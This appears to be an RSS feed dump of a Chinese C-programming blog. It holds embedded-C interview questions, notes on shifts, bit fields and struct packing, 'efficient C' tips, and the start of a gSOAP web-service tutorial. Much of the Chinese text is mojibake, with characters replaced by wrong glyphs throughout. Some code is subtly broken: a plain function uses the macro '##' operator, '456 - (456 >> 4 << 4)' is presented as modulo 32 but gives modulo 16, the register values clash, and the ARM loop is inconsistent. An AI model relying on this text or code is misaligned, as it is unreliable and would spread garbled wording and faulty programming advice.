一个指针可以是volatile 吗?解释Z么?br />3); 下面的函数有什么错误:<br />int square(volatile int *ptr)<br />{<br />return *ptr * *ptr;<br />}<br />下面是答案:<br />1)是的。一个例子是只读的状态寄存器。它是volatile因ؓ它可能被意想不到地改变。它是const因ؓE序不应该试囑֎修改它?br />2); 是的。尽这q不很常见。一个例子是当一个中服务子程序修该一个指向一个buffer的指针时?br />3) q段代码有点变态。这D代码的目的是用来返指针*ptr指向值的qxQ但是,׃*ptr指向一个volatile型参敎ͼ~译器将产生cM下面的代码:<br />int square(volatile int *ptr) <br />{<br />int a,b;<br />a = *ptr;<br />b = *ptr;<br />return a * b;<br />}<br />׃*ptr的值可能被意想不到地该变,因此a和b可能是不同的。结果,q段代码可能q不是你所期望的^方|正确的代码如下:<br />long square(volatile int *ptr) <br />{<br />int a;<br />a = *ptr;<br />return a * a;<br />}<br /><br />位操作(Bit manipulationQ?<br />9. 嵌入式系lL要用户对变量或寄存器q行位操作。给定一个整型变量aQ写两段代码Q第一个设|a的bit 3Q第二个清除a 的bit 3。在以上两个操作中,要保持其它位不变?对这个问题有三种基本的反?br />1)不知道如何下手。该被面者从没做qQ何嵌入式pȝ的工作?br />2) 用bit fields。Bit fields是被扔到C语言死角的东西,它保证你的代码在不同~译器之间是不可UL的,同时也保证了的你的代码是不可重用的。我最q不q看?Infineon为其较复杂的通信芯片写的驱动E序Q它用到了bit fields因此完全Ҏ无用Q因为我的编译器用其它的方式来实现bit fields的。从道dԌ永远不要让一个非嵌入式的家伙_实际硬件的辏V?br />3) ?#defines ?bit masks 操作。这是一个有极高可移植性的ҎQ是应该被用到的Ҏ。最佳的解决Ҏ如下Q?br />#define BIT3 (0x1 << 3)<br />static int a;<br />void set_bit3(void) <br />{<br />a |= BIT3;<br />}<br />void clear_bit3(void) <br />{<br />a &= ~BIT3;<br />}<br /><br />一些h喜欢|和清除D定义一个掩码同时定义一些说明常敎ͼq也是可以接受的。我希望看到几个要点Q说明常数、|=?amp;=~操作?br /><br />讉K固定的内存位|(Accessing fixed memory locationsQ?<br />10. 嵌入式系l经常具有要求程序员去访问某特定的内存位|的特点?br />在某工程中,要求讄一l对地址?x67a9的整型变量的gؓ0xaa66。编译器是一个纯_的ANSI~译器。写代码d成这一d。这一问题试你是否知道ؓ了访问一l对地址把一个整型数强制转换QtypecastQؓ一指针是合法的。这一问题的实现方式随着个h风格不同而不同。典型的cM代码如下Q?br />int *ptr;<br />ptr = (int *)0x67a9;<br />*ptr = 0xaa55;<br />A more obscure approach is: ( 一个较晦ӆ的方法是)Q?br />*(int * const)(0x67a9) = 0xaa55;<br />即你的品味更接q第二种ҎQ但我徏议你在面试时使用W一U方案?br /><br />中断QInterruptsQ?<br />11. <br />中断是嵌入式pȝ中重要的l成部分Q这D了很多编译开发商提供一U扩展—让标准C支持中断。具代表事实是,产生了一个新的关键字 __interrupt。下面的代码׃用了__interrupt关键字去定义了一个中断服务子E序(ISR)Q请评论一下这D代码的?br />__interrupt double compute_area (double radius) <br />{<br />double area = PI * radius * radius;<br />printf("\nArea = %f", area);<br />return area;<br />}<br />q个函数有太多的错误了,以至让h不知从何说v了:<br />1)ISR 不能q回一个倹{如果你不懂q个Q那么你不会被雇用的?br />2) ISR 不能传递参数。如果你没有看到q一点,你被雇用的机会等同第一V?br />3) 在许多的处理?~译器中QQ点一般都是不可重入的。有些处理器/~译器需要让额处的寄存器入栈Q有些处理器/~译器就是不允许在ISR中做点q算。此外,ISR应该是短而有效率的,在ISR中做点q算是不明智的?br />4) 与第三点一脉相承,printf()l常有重入和性能上的问题。如果你丢掉了第三和W四点,我不会太为难你的。不用说Q如果你能得到后两点Q那么你的被雇用前景来光明了?br /><br />代码例子QCode examplesQ?br />12 . 下面的代码输出是什么,Z么?<br />void foo(void)<br />{<br />unsigned int a = 6;<br />int b = -20;<br />(a+b > 6) ? puts("> 6") : puts("<= 6");<br />}<br />q个问题试你是否懂得C语言中的整数自动转换原则Q我发现有些开发者懂得极这些东ѝ不如何,q无W号整型问题的答案是输出?">6"。原因是当表辑ּ中存在有W号cd和无W号cd时所有的操作数都自动转换为无W号cd。因?20变成了一个非常大的正整数Q所以该表达式计出的结果大?。这一点对于应当频J用到无W号数据cd的嵌入式pȝ来说是丰帔R要的。如果你{错了这个问题,你也到了得不到q䆾工作的边~?br /><br />13. 评h下面的代码片断:<br />unsigned int zero = 0;<br />unsigned int compzero = 0xFFFF; <br />/*1's complement of zero */<br />对于一个int型不?6位的处理器ؓ_上面的代码是不正的。应~写如下Q?br />unsigned int compzero = ~0;<br />q一问题真正能揭露出应试者是否懂得处理器字长的重要性。在我的l验里,好的嵌入式程序员非常准确地明白硬件的l节和它的局限,然而PC机程序往往把硬件作Z个无法避免的烦恼?br />Cq个阶段Q应试者或者完全垂头气了或者信心满满志在必得。如果显然应试者不是很好,那么q个试在q里l束了。但如果昄应试者做得不错,那么我就扔出下面的追加问题,q些问题是比较难的,我想仅仅非常优秀的应试者能做得不错。提些问题,我希望更多看到应试者应付问题的ҎQ而不是答案。不如何,你就当是q个׃?..<br /><br />动态内存分配(Dynamic memory allocationQ?<br />14. <br />管不像非嵌入式计算机那么常见,嵌入式系l还是有从堆QheapQ中动态分配内存的q程的。那么嵌入式pȝ中,动态分配内存可能发生的问题是什么?q里Q我期望应试者能提到内存片Q碎片收集的问题Q变量的持行旉{等。这个主题已l在ESP杂志中被q泛地讨了(主要?P.J. Plauger, 他的解释q远过我这里能提到的Q何解释)Q所有回q头看一下这些杂志吧Q让应试者进入一U虚假的安全感觉后,我拿么一个小节目Q下面的代码片段的输出是什么,Z么?<br />char *ptr;<br />if ((ptr = (char *)malloc(0)) == NULL) <br />puts("Got a null pointer");<br />else<br />puts("Got a valid pointer");<br />q是一个有的问题。最q在我的一个同事不l意?gl了函数mallocQ得C一个合法的指针之后Q我才想到这个问题。这是上面的代码,该代码的输出?Got a valid pointer"。我用这个来开始讨L一问题Q看看被面试者是否想到库例程q样做是正确。得到正的{案固然重要Q但解决问题的方法和你做军_的基本原理更重要些?br /><br />Typedef <br />15 Typedef <br />在C语言中频J用以声明一个已l存在的数据cd的同义字。也可以用预处理器做cM的事。例如,思考一下下面的例子Q?br />#define dPS struct s *<br />typedef struct s * tPS;<br />以上两种情况的意N是要定义dPS ?tPS 作ؓ一个指向结构s指针。哪U方法更好呢Q(如果有的话)Z么?<br />q是一个非常微妙的问题QQ何h{对q个问题Q正当的原因Q是应当被恭喜的。答案是Qtypedef更好。思考下面的例子Q?br />dPS p1,p2;<br />tPS p3,p4;<br />W一个扩展ؓ<br />struct s * p1, p2;<br />上面的代码定义p1Z个指向结构的指,p2Z个实际的l构Q这也许不是你想要的。第二个例子正确地定义了p3 和p4 两个指针?br /><br />晦ӆ的语?br />16 . C语言同意一些o人震惊的l构,下面的结构是合法的吗Q如果是它做些什么?<br />int a = 5, b = 7, c;<br />c = a+++b;<br />q个问题做个测验的一个愉快的l尾。不你怸怿Q上面的例子是完全合乎语法的。问题是~译器如何处理它Q水q不高的~译作者实际上会争个问题,Ҏ最处理原则Q编译器应当能处理尽可能所有合法的用法。因此,上面的代码被处理成:c = a++ + b;<br />因此, q段代码持行后a = 6, b = 7, c = 12?br />如果你知道答案,或猜出正答案,做得好。如果你不知道答案,我也不把q个当作问题。我发现q个问题的最大好处是q是一个关于代码编写风|代码的可L,代码的可修改性的好的话题?br /><img src ="http://www.shnenglu.com/zjj2816/aggbug/10408.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zjj2816/" target="_blank">井泉</a> 2006-07-24 15:43 <a href="http://www.shnenglu.com/zjj2816/archive/2006/07/24/10408.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C语言的底层操?/title><link>http://www.shnenglu.com/zjj2816/archive/2006/07/17/10146.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Mon, 17 Jul 2006 00:54:00 GMT</pubDate><guid>http://www.shnenglu.com/zjj2816/archive/2006/07/17/10146.html</guid><wfw:comment>http://www.shnenglu.com/zjj2816/comments/10146.html</wfw:comment><comments>http://www.shnenglu.com/zjj2816/archive/2006/07/17/10146.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zjj2816/comments/commentRss/10146.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zjj2816/services/trackbacks/10146.html</trackback:ping><description><![CDATA[ <p> <font face="宋体">概述</font> <br /> <font face="宋体">  C语言的内存模型基本上对应了现在von NeumannQ冯·Z|计算机的实际存储模型<a ><u><font color="#800080">Q?/font></u></a>很好的达CҎ器的映射Q这是C/C++适合做底层开发的主要原因Q另外,C语言适合做底层开发还有另外一个原因,那就是C语言对底层操作做了很多的的支持,提供了很多比较底层的功能?/font> <br /> <font face="宋体">  下面l合问题分别q行阐述?/font> <br /> <font face="宋体">  问题Q移位操?/font> <br /> <font face="宋体">  在运用移位操作符Ӟ有两个问题必要清楚Q?/font> <br /> <font face="宋体">  (1)、在右移操作中,腄位是?0 q是W号位;</font> <br /> <font face="宋体">  (2)、什么数可以作移位的位数?/font> <br /> <font face="宋体">{案与分析:</font> <br /> <font face="宋体">  ">>"?<<"是指变量中的每一位向x向左Ud, 光常形式?/font> <font face="宋体">: <br />  右移: 变量?gt;>UM的位?/font> <font face="宋体"> <br />  左移: 变量?lt;<UM的位?/font> <font face="宋体"> <br />  l过UM? 一端的位被"挤掉",而另一端空出的位以0 填补,在C语言中的UM不是循环Ud的?/font> <br /> <font face="宋体">  (1) W一个问题的{案很简单,但要Ҏ不同的情况而定。如果被UM的是无符hQ则?0 。如果是有符hQ那么可能填 0 或符号位。如果你惌军_UL作中腄位的填充问题Q就把变量声明ؓ无符号型Q这栯IZ会被|?0? <p></p></font> </p> <p> </p> <p> <font face="宋体">  (2) W二个问题的{案也很单:如果Ud n 位,那么UM的位数要不小?0 Qƈ且一定要于 n 。这样就不会在一ơ操作中把所有数据都U走? <p></p></font> </p> <p> </p> <p> <font face="宋体">  比如Q如果整型数据占 32 位,n 是一整型数据Q则 n << 31 ?n << 0 都合法,?n << 32 ?n << -1 都不合法? <p></p></font> </p> <p> </p> <p> <font face="宋体">  注意即腄位填W号位,有符h数的右移也不相当与除以。ؓ了证明这一点,我们可以想一?-1 >> 1 不可能ؓ 0 ? <p></p></font> </p> <p> </p> <p> <font face="宋体">  问题Q位D늻? <p></p></font> </p> <p> </p> <p> <font face="宋体">struct RPR_ATD_TLV_HEADER<br />{<br />ULONG res1:6;<br />ULONG type:10;<br />ULONG res1:6;<br />ULONG length:10; <br />}; <p></p></font> </p> <p> </p> <p> <font face="宋体">  位段l构是一U特D的l构, 在需按位讉K一个字节或字的多个位时, 位结构比按位q算W更加方ѝ? <p></p></font> </p> <p> </p> <p> <font face="宋体">  位结构定义的一般Ş式ؓ: <p></p></font> </p> <p> </p> <p> <font face="宋体">struct</font> <font face="宋体">位结构名</font> <font face="宋体">{ <br /> 数据cd 变量? 整型常数</font> <font face="宋体">; <br /> 数据cd 变量? 整型常数</font> <font face="宋体">; <br />} 位结构变?   <p></p></font> </p> <p> </p> <p> <font face="宋体">  其中: 整型常数必须是非负的整数, 范围?~15, 表示二进制位的个? 卌C有多少位? <p></p></font> </p> <p> </p> <p> <font face="宋体">  变量名是选择? 可以不命? q样规定是ؓ了排列需要? <p></p></font> </p> <p> </p> <p> <font face="宋体">  例如: 下面定义了一个位l构? <p></p></font> </p> <p> </p> <p> <font face="宋体">struct{ <br /></font> <font face="宋体"> unsigned incon: 8; /*incon占用低字节的0~7??/font> <font face="宋体">*/ <br /> unsigned txcolor: 4;/*txcolor占用高字节的0~3位共4?/font> <font face="宋体">*/ <br /> unsigned bgcolor: 3;/*bgcolor占用高字节的4~6位共3?/font> <font face="宋体">*/ <br /> unsigned blink: 1; /*blink占用高字节的W??/font> <font face="宋体">*/ <br />}ch;   <p></p></font> </p> <p> </p> <p> <font face="宋体">  位结构成员的讉K与结构成员的讉K相同? <p></p></font> </p> <p> </p> <p> <font face="宋体">  例如: 讉K上例位结构中的bgcolor成员可写? <p></p></font> </p> <p> </p> <p> <font face="宋体">ch.bgcolor   <p></p></font> </p> <p> </p> <p> <font face="宋体">  位结构成员可以与其它l构成员一起用。按位访问与讄Q方?amp;节省 <p></p></font> </p> <p> </p> <p> <font face="宋体">  例如: <p></p></font> </p> <p> </p> <p> <font face="宋体">struct info{ <br /></font> <font face="宋体"> </font> <font face="宋体">char name[8]; <br /> </font> <font face="宋体">int age; <br /> </font> <font face="宋体">struct addr address; <br /> </font> <font face="宋体">float pay; <br /> </font> <font face="宋体">unsigned state: 1; <br /> </font> <font face="宋体">unsigned pay: 1; <br />}workers;'   <p></p></font> </p> <p> </p> <p> <font face="宋体">  上例的结构定义了关于一个工从的信息。其中有两个位结构成? 每个位结构成员只有一? 因此只占一个字节但保存了两个信? 该字节中W一位表C工人的状? W二位表C工资是否已发放。由此可见用位l构可以节省存贮I间? <p></p></font> </p> <p> </p> <p> <font face="宋体">  注意不要过值限? <p></p></font> </p> <p> </p> <p> <font face="宋体">  问题Q字节对? <p></p></font> </p> <p> </p> <p> <font face="宋体">  我在使用VC~程的过E中Q有一ơ调用DLL中定义的l构Ӟ发觉l构都ؕ掉了Q完全不能读取正的|后来发现q是因ؓDLL和调用程序用的字节寚w选项不同Q那么我想问一下,字节寚wI竟是怎么一回事Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">  {案与分析: <p></p></font> </p> <p> </p> <p> <font face="宋体">  关于字节寚wQ? <p></p></font> </p> <p> </p> <p> <font face="宋体">  1?当不同的l构使用不同的字节对齐定义时Q可能导致它们之间交互变得很困难? <p></p></font> </p> <p> </p> <p> <font face="宋体">  2?在跨CPUq行通信Ӟ可以使用字节寚w来保证唯一性,诸如通讯协议、写驱动E序时候寄存器的结构等? <p></p></font> </p> <p> </p> <p> <font face="宋体">  三种寚w方式Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">  1?自然寚w方式QNatural AlignmentQ:与该数据cd的大相{? <p></p></font> </p> <p> </p> <p> <font face="宋体">  2?指定寚w方式 Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">#pragma pack(8) //</font> <font face="宋体">指定Align?8Q?/font> <br /> <font face="宋体">#pragma pack() //</font> <font face="宋体">恢复到原先? <p></p></font> </p> <p> </p> <p> <font face="宋体">  3?实际寚w方式Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">Actual Align = min ( Order Align, Natual Align ) <p></p></font> </p> <p> </p> <p> <font face="宋体">  对于复杂数据cdQ比如结构等Q:实际寚w方式是其成员最大的实际寚w方式Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">Actual Align = max( Actual align1,2,3Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">  ~译器的填充规律Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">  1?成员为成员Actual Align的整数倍,在前面加Padding? <p></p></font> </p> <p> </p> <p> <font face="宋体">  成员Actual Align = min( l构Actual AlignQ设定对齐方? <p></p></font> </p> <p> </p> <p> <font face="宋体">  2?l构为结构Actual Align的整数倍,在后面加Padding. <p></p></font> </p> <p> </p> <p> <font face="宋体">  例子分析Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">#pragma pack(8) //</font> <font face="宋体">指定Align?/font> <font face="宋体"> 8<br />struct STest1<br />{<br />char ch1; <br />long lo1;<br />char ch2;<br />} test1;<br />#pragma pack() <p></p></font> </p> <p> </p> <p> <font face="宋体">  现在 <p></p></font> </p> <p> </p> <p> <font face="宋体">Align of STest1 = 4 , sizeof STest1 = 12 ( 4 * 3 ) <p></p></font> </p> <p> </p> <p> <font face="宋体">  test1在内存中的排列如下( FF ?padding Q: <p></p></font> </p> <p> </p> <p> <font face="宋体">00 -- -- -- 04 -- -- -- 08 -- -- -- 12 -- -- --<br />01 FF FF FF 01 01 01 01 01 FF FF FF <br />ch1 -- lo1 -- ch2<br />#pragma pack(2) //</font> <font face="宋体">指定Align?/font> <font face="宋体"> 2<br />struct STest2<br />{<br />char ch3;<br />STest1 test;<br />} test2;<br />#pragma pack() <p></p></font> </p> <p> </p> <p> <font face="宋体">  现在 Align of STest1 = 2, Align of STest2 = 2 , sizeof STest2 = 14 ( 7 * 2 ) <p></p></font> </p> <p> </p> <p> <font face="宋体">  test2在内存中的排列如下: <p></p></font> </p> <p> </p> <p> <font face="宋体">00 -- -- -- 04 -- -- -- 08 -- -- -- 12 -- -- --<br />02 FF 01 FF FF FF 01 01 01 01 01 FF FF FF <br />ch3 ch1 -- lo1 -- ch2 <p></p></font> </p> <p> </p> <p> <font face="宋体">  注意事项Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">  1?q样一来,~译器无法ؓ特定q_做优化,如果效率非常重要Q就量不要使用#pragma packQ如果必M用,也最好仅在需要的地方q行讄? <p></p></font> </p> <p> </p> <p> <font face="宋体">  2?需要加pack的地方一定要在定义结构的头文件中加,不要依赖命o行选项Q因为如果很多h使用该头文gQƈ不是每个人都知道应该pack。这特别表现在ؓ别h开发库文gӞ如果一个库函数使用了struct作ؓ其参敎ͼ当调用者与库文件开发者用不同的packӞ׃造成错误Q而且该类错误很不好查? <p></p></font> </p> <p> </p> <p> <font face="宋体">  3?在VC及BC提供的头文g中,除了能正好对齐在四字节上的结构外Q都加了packQ否则我们编的WindowsE序哪一个也不会正常q行? <p></p></font> </p> <p> </p> <p> <font face="宋体">  4??#pragma pack(n) 后一定不要include其他头文Ӟ若包含的头文件中改变了align|生非预期l果? <p></p></font> </p> <p> </p> <p> <font face="宋体">  5?不要多h同时定义一个数据结构。这样可以保证一致的pack倹{? <p></p></font> </p> <p> </p> <p> <font face="宋体">  问题Q按位运符 <p></p></font> </p> <p> </p> <p> <font face="宋体">  C语言和其它高U语a不同的是它完全支持按位运符。这与汇~语a的位操作有些怼?C中按位运符列出如下: <p></p></font> </p> <p> </p> <p> <font face="宋体">━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <br /></font> <font face="宋体">操作W?作用</font> <font face="宋体"> <br />──────────────────────────── <br />& 位逻辑?/font> <font face="宋体"> <br />| 位逻辑?/font> <font face="宋体"> <br />^ 位逻辑异或</font> <font face="宋体"> <br />- 位逻辑?/font> <font face="宋体"> <br />>> 右移</font> <font face="宋体"> <br /><< 左移</font> <font face="宋体"> <br />━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <p></p></font> </p> <p> </p> <p> <font face="宋体">  注意Q? <p></p></font> </p> <p> </p> <p> <font face="宋体">  1?按位q算是对字节或字中的实际位进行检、设|或UM, 它只适用于字W型和整数型变量以及它们的变? 对其它数据类型不适用? <p></p></font> </p> <p> </p> <p> <font face="宋体">  2?关系q算和逻辑q算表达式的l果只能???而按位运的l果可以??以外的倹{要注意区别按位q算W和逻辑q算W的不同, 例如, 若x=7, 则x&&8 的gؓ?两个非零值相与仍为非?, 而x&8的gؓ0? <p></p></font> </p> <p> </p> <p> <font face="宋体">  3?| ?||Q?amp;?amp;&Q~? 的关p? <p></p></font> </p> <p> </p> <p> <font face="宋体">  &、| ?~ 操作W把它们的操作数当作一个ؓ序列Q按位单独进行操作。比如:10 & 12 = 8Q这是因?&"操作W把 10 ?12 当作二进制描q?1010 ?1100 Q所以只有当两个操作数的相同位同时ؓ 1 Ӟ产生的结果中相应位才?1 。同理,10 | 12 = 14 ( 1110 )Q通过补码q算Q~10 = -11 ( 11...110101 )?lt;以多ؓ一个位序列> &&、|| 和!操作W把它们的操作数当作"???Qƈ且用 0 代表"?QQ何非 0 D认ؓ??。它们返?1 代表"?Q? 代表"?Q对?&&"?||"操作W,如果左侧的操作数的值就可以军_表达式的|它们Ҏ׃去计右侧的操作数。所以,!10 ?0 Q因?10 ?0 Q?0 && 12 ?1 Q因?10 ?12 均非 0 Q?0 || 12也是 1 Q因?10 ?0 。ƈ且,在最后一个表辑ּ中,12 Ҏ没被计,在表辑ּ 10 || f( ) 中也是如此?</font> </p> <img src ="http://www.shnenglu.com/zjj2816/aggbug/10146.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zjj2816/" target="_blank">井泉</a> 2006-07-17 08:54 <a href="http://www.shnenglu.com/zjj2816/archive/2006/07/17/10146.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C语言高效~程的几?/title><link>http://www.shnenglu.com/zjj2816/archive/2006/06/27/9060.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Tue, 27 Jun 2006 01:42:00 GMT</pubDate><guid>http://www.shnenglu.com/zjj2816/archive/2006/06/27/9060.html</guid><wfw:comment>http://www.shnenglu.com/zjj2816/comments/9060.html</wfw:comment><comments>http://www.shnenglu.com/zjj2816/archive/2006/06/27/9060.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zjj2816/comments/commentRss/9060.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zjj2816/services/trackbacks/9060.html</trackback:ping><description><![CDATA[ <font color="#000000">~写高效z的C语言代码Q是许多软g工程师追求的目标。本文就工作中的一些体会和l验做相关的阐述Q不对的地方请各位指教?br /><br />W?招:以空间换旉<br /><br />  计算机程序中最大的矛盾是空间和旉的矛盾,那么Q从q个角度出发逆向思维来考虑E序的效率问题,我们有了解决问题的W?招——以I间换时间?br />例如Q字W串的赋倹{?br />ҎAQ通常的办法:<br />#define LEN 32<br />char string1 [LEN];<br />memset (string1,0,LEN);<br />strcpy (string1,“This is a example!!”);<br />ҎBQ?br />const char string2[LEN] =“This is a example!?<br />char * cp;<br />cp = string2 ; <br />(使用的时候可以直接用指针来操作?<br /><br />  从上面的例子可以看出QA和B的效率是不能比的。在同样的存储空间下QB直接使用指针可以操作了Q而A需要调用两个字W函数才能完成。B的缺点在于灵zL没有A好。在需要频J更改一个字W串内容的时候,Ah更好的灵zL;如果采用ҎBQ则需要预存许多字W串Q虽然占用了大量的内存,但是获得了程序执行的高效率?br /><br />  如果pȝ的实时性要求很高,内存q有一些,那我推荐你用该招数?br /><br />  该招数的变招——用宏函数而不是函数。D例如下:<br />ҎCQ?br />#define bwMCDR2_ADDRESS 4<br />#define bsMCDR2_ADDRESS 17<br />int BIT_MASK(int __bf) <br />{<br />return ((1U << (bw ## __bf)) - 1) << (bs ## __bf);<br />}<br />void SET_BITS(int __dst, int __bf, int __val)<br />{<br />__dst = ((__dst) & ~(BIT_MASK(__bf))) | \<br />(((__val) << (bs ## __bf)) & (BIT_MASK(__bf))))<br />}<br /><br />SET_BITS(MCDR2, MCDR2_ADDRESS, RegisterNumber);<br />ҎDQ?br />#define bwMCDR2_ADDRESS 4<br />#define bsMCDR2_ADDRESS 17<br />#define bmMCDR2_ADDRESS BIT_MASK(MCDR2_ADDRESS)<br />#define BIT_MASK(__bf) (((1U << (bw ## __bf)) - 1) << (bs ## __bf))<br />#define SET_BITS(__dst, __bf, __val) \<br />((__dst) = ((__dst) & ~(BIT_MASK(__bf))) | \<br />(((__val) << (bs ## __bf)) & (BIT_MASK(__bf))))<br /><br />SET_BITS(MCDR2, MCDR2_ADDRESS, RegisterNumber);<br /><br />  函数和宏函数的区别就在于Q宏函数占用了大量的I间Q而函数占用了旉。大家要知道的是Q函数调用是要用系l的栈来保存数据的,如果~译器里有栈查选项Q一般在函数的头会嵌入一些汇~语句对当前栈进行检查;同时QCPU也要在函数调用时保存和恢复当前的现场Q进行压栈和Ҏ操作Q所以,函数调用需要一些CPU旉。而宏函数不存在这个问题。宏函数仅仅作ؓ预先写好的代码嵌入到当前E序Q不会生函数调用,所以仅仅是占用了空_在频J调用同一个宏函数的时候,该现象尤其突出?br /><br />  DҎ是我看到的最好的|位操作函数Q是ARM公司源码的一部分Q在短短的三行内实现了很多功能,几乎늛了所有的位操作功能。CҎ是其变体Q其中滋呌需大家仔细体会?br /><br />W?招:数学Ҏ解决问题<br /><br />  现在我们演绎高效C语言~写的第二招——采用数学方法来解决问题?br /><br />  数学是计机之母Q没有数学的依据和基Q就没有计算机的发展Q所以在~写E序的时候,采用一些数学方法会对程序的执行效率有数量的提高?br />举例如下Q求 1~100的和?br />ҎE<br />int I , j;<br />for (I = 1 ;I<=100; I ++Q{<br />j += I;<br />}<br />ҎF<br />int I;<br />I = (100 * (1+100)) / 2<br /><br />  q个例子是我印象最q一个数学用例,是我的计机启蒙老师考我的。当时我只有学三年U,可惜我当时不知道用公?N×QN+1Q? 2 来解册个问题。方法E循环?00ơ才解决问题Q也是说最用?00个赋|100个判断,200个加法(I和jQ;而方法F仅仅用了1个加法,1ơ乘法,1ơ除法。效果自然不a而喻。所以,现在我在~程序的时候,更多的是动脑{找规律Q最大限度地发挥数学的威力来提高E序q行的效率?br /><br />W?招:使用位操?br /><br />  实现高效的C语言~写的第三招——用位操作Q减除法和取模的运?br /><br />  在计机E序中,数据的位是可以操作的最数据单位,理论上可以用“位q算”来完成所有的q算和操作。一般的位操作是用来控制g的,或者做数据变换使用Q但是,灉|的位操作可以有效地提高程序运行的效率。D例如下:<br />ҎG<br />int I,J;<br />I = 257 /8;<br />J = 456 % 32;<br />ҎH<br />int I,J;<br />I = 257 >>3;<br />J = 456 - (456 >> 4 << 4);<br /><br />  在字面上好像H比Gȝ了好多,但是Q仔l查看生的汇编代码׃明白Q方法G调用了基本的取模函数和除法函敎ͼ既有函数调用Q还有很多汇~代码和寄存器参与运;而方法H则仅仅是几句相关的汇~,代码更简z,效率更高。当Ӟ׃~译器的不同Q可能效率的差距不大Q但是,以我目前遇到的MS C ,ARM C 来看Q效率的差距q是不小。相x~代码就不在q里列D了?br />q用q招需要注意的是,因ؓCPU的不同而生的问题。比如说Q在PC上用q招~写的程序,q在PC上调试通过Q在ULC?6位机q_上的时候,可能会生代码隐患。所以只有在一定技术进阶的基础下才可以使用q招?br /><br />W?招:汇编嵌入<br /><br />  高效C语言~程的必杀技Q第四招——嵌入汇~?br /><br />  “在熟悉汇编语言的h眼里QC语言~写的程序都是垃䏀。这U说法虽然偏Ȁ了一些,但是却有它的道理。汇~语a是效率最高的计算aQ但是,不可能靠着它来写一个操作系l吧?所以,Z获得E序的高效率Q我们只好采用变通的Ҏ ——嵌入汇~,混合~程?br /><br />  举例如下Q将数组一赋值给数组?要求每一字节都相W?br />char string1[1024],string2[1024];<br />ҎI<br />int I;<br />for (I =0 ;I<1024;I++)<br />*(string2 + I) = *(string1 + I)<br />ҎJ<br />#ifdef _PC_<br />int I;<br />for (I =0 ;I<1024;I++)<br />*(string2 + I) = *(string1 + I);<br />#else<br />#ifdef _ARM_<br />__asm<br />{ <br />MOV R0,string1<br />MOV R1,string2<br />MOV R2,#0<br />loop:<br />LDMIA R0!, [R3-R11]<br />STMIA R1!, [R3-R11]<br />ADD R2,R2,#8<br />CMP R2, #400<br />BNE loop<br />}<br />#endif<br /><br />  ҎI是最常见的方法,使用?024ơ@环;ҎJ则根据^C同做了区分,在ARMq_下,用嵌入汇~仅?28ơ@环就完成了同L操作。这里有朋友会说Qؓ什么不用标准的内存拯函数?q是因ؓ在源数据里可能含有数据ؓ0的字节,q样的话Q标准库函数会提前结束而不会完成我们要求的操作。这个例E典型应用于LCD数据的拷贝过E。根据不同的CPUQ熟l用相应的嵌入汇编Q可以大大提高程序执行的效率?br /><br />  虽然是必杀技Q但是如果轻易用会付出惨重的代仗这是因为,使用了嵌入汇~,侉K制了E序的可UL性,使程序在不同q_UL的过E中Q卧虎藏龙,险象环生Q同时该招数也与C软g工程的思想相违背,只有在迫不得已的情况下才可以采用。切讎ͼ切记?br /><br />  使用C语言q行高效率编E,我的体会仅此而已。在此以本文抛砖引玉Q还请各位高手共同切。希望各位能l出更好的方法,大家一h高我们的~程技巧?/font> <img src ="http://www.shnenglu.com/zjj2816/aggbug/9060.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zjj2816/" target="_blank">井泉</a> 2006-06-27 09:42 <a href="http://www.shnenglu.com/zjj2816/archive/2006/06/27/9060.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用C实现WebServicehttp://www.shnenglu.com/zjj2816/archive/2006/06/27/9059.html井泉井泉Tue, 27 Jun 2006 01:28:00 GMThttp://www.shnenglu.com/zjj2816/archive/2006/06/27/9059.htmlhttp://www.shnenglu.com/zjj2816/comments/9059.htmlhttp://www.shnenglu.com/zjj2816/archive/2006/06/27/9059.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/9059.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/9059.html

一Q系l环?2
二.gSOAP的简要用例?2
三.囄说明 6
四.要注意的问题 6
五.参考文?7
六.备注 7

一Q系l环?br />linux操作pȝkernel2.4.2Q安装gsoap2.6到目?usr/local/gsoap
二.gSOAP的简要用例?br />下面是一个简单的例子Q实C个加法运的WebServiceQ具体功能是cli端输入num1和num2Qserver端返回一个num1和num2相加的结果sum?br />
1Q?首先Q我们需要做的是写一个函数声明文Ӟ来定义接口函数ns__addQ文件名字ؓadd.hQ内容如下:

//gsoap ns service name: add
//gsoap ns service namespace: http://mail.263.net/add.wsdl
//gsoap ns service location: http://mail.263.net
//gsoap ns service executable: add.cgi
//gsoap ns service encoding: encoded
//gsoap ns schema namespace: urn:add

int ns__add( int num1, int num2, int* sum );

2Q?然后我们需要创建文件MakefileQ从而利用gsoapcpp2工具由add.h生成一?xml文g?c文g?h文gQ这些文件均动生成,Makefile的内容如下:

GSOAP_ROOT=/usr/local/gsoap
WSNAME=add
CC=g++ -g -DWITH_NONAMESPACES
INCLUDE=-I $(GSOAP_ROOT)
SERVER_OBJS=$(WSNAME)C.o $(WSNAME)Server.o stdsoap2.o
